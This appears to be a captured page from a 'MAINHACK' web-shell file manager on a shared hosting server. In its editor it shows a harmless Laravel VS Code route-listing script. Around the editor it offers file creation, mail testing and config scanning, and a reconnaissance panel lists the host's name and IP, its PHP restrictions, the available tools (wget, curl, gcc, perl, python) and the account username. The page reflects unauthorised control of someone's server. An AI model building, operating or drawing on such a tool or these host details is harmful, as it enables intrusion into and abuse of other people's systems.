[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: discover-1e7ea3cf42a2f9b84f3de09530e2c135.php
<?php error_reporting(E_ERROR | E_PARSE); define('LARAVEL_START', microtime(true)); require_once __DIR__ . '/../autoload.php'; class LaravelVsCode { public static function relativePath($path) { if (!str_contains($path, base_path())) { return (string) $path; } return ltrim(str_replace(base_path(), '', realpath($path) ?: $path), DIRECTORY_SEPARATOR); } public static function isVendor($path) { return str_contains($path, base_path("vendor")); } public static function outputMarker($key) { return '__VSCODE_LARAVEL_' . $key . '__'; } public static function startupError(\Throwable $e) { throw new Error(self::outputMarker('STARTUP_ERROR') . ': ' . $e->getMessage()); } } try { $app = require_once __DIR__ . '/../../bootstrap/app.php'; } catch (\Throwable $e) { LaravelVsCode::startupError($e); exit(1); } $app->register(new class($app) extends \Illuminate\Support\ServiceProvider { public function boot() { config([ 'logging.channels.null' => [ 'driver' => 'monolog', 'handler' => \Monolog\Handler\NullHandler::class, ], 'logging.default' => 'null', ]); } }); try { $kernel = $app->make(Illuminate\Contracts\Console\Kernel::class); $kernel->bootstrap(); } catch (\Throwable $e) { LaravelVsCode::startupError($e); exit(1); } echo LaravelVsCode::outputMarker('START_OUTPUT'); $routes = new class { public function all() { return collect(app('router')->getRoutes()->getRoutes()) ->map(fn(\Illuminate\Routing\Route $route) => $this->getRoute($route)) ->merge($this->getFolioRoutes()); } protected function getFolioRoutes() { try { $output = new \Symfony\Component\Console\Output\BufferedOutput(); \Illuminate\Support\Facades\Artisan::call("folio:list", ["--json" => true], $output); $mountPaths = collect(app(\Laravel\Folio\FolioManager::class)->mountPaths()); return collect(json_decode($output->fetch(), true))->map(fn($route) => $this->getFolioRoute($route, $mountPaths)); } catch (\Exception | \Throwable $e) { return []; } } protected function getFolioRoute($route, $mountPaths) { if ($mountPaths->count() === 1) { $mountPath = $mountPaths[0]; } else { $mountPath = $mountPaths->first(fn($mp) => file_exists($mp->path . DIRECTORY_SEPARATOR . $route['view'])); } $path = $route['view']; if ($mountPath) { $path = $mountPath->path . DIRECTORY_SEPARATOR . $path; } return [ 'method' => $route['method'], 'uri' => $route['uri'], 'name' => $route['name'], 'action' => null, 'parameters' => [], 'filename' => $path, 'line' => 0, ]; } protected function getRoute(\Illuminate\Routing\Route $route) { try { $reflection = $this->getRouteReflection($route); } catch (\Throwable $e) { $reflection = null; } return [ 'method' => collect($route->methods()) ->filter(fn($method) => $method !== 'HEAD') ->implode('|'), 'uri' => $route->uri(), 'name' => $route->getName(), 'action' => $route->getActionName(), 'parameters' => $route->parameterNames(), 'filename' => $reflection ? $reflection->getFileName() : null, 'line' => $reflection ? $reflection->getStartLine() : null, ]; } protected function getRouteReflection(\Illuminate\Routing\Route $route) { if ($route->getActionName() === 'Closure') { return new \ReflectionFunction($route->getAction()['uses']); } if (!str_contains($route->getActionName(), '@')) { return new \ReflectionClass($route->getActionName()); } try { return new \ReflectionMethod($route->getControllerClass(), $route->getActionMethod()); } catch (\Throwable $e) { $namespace = app(\Illuminate\Routing\UrlGenerator::class)->getRootControllerNamespace() ?? (app()->getNamespace() . 'Http\Controllers'); return new \ReflectionMethod( $namespace . '\\' . ltrim($route->getControllerClass(), '\\'), $route->getActionMethod(), ); } } }; echo $routes->all()->toJson(); echo LaravelVsCode::outputMarker('END_OUTPUT'); exit(0);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285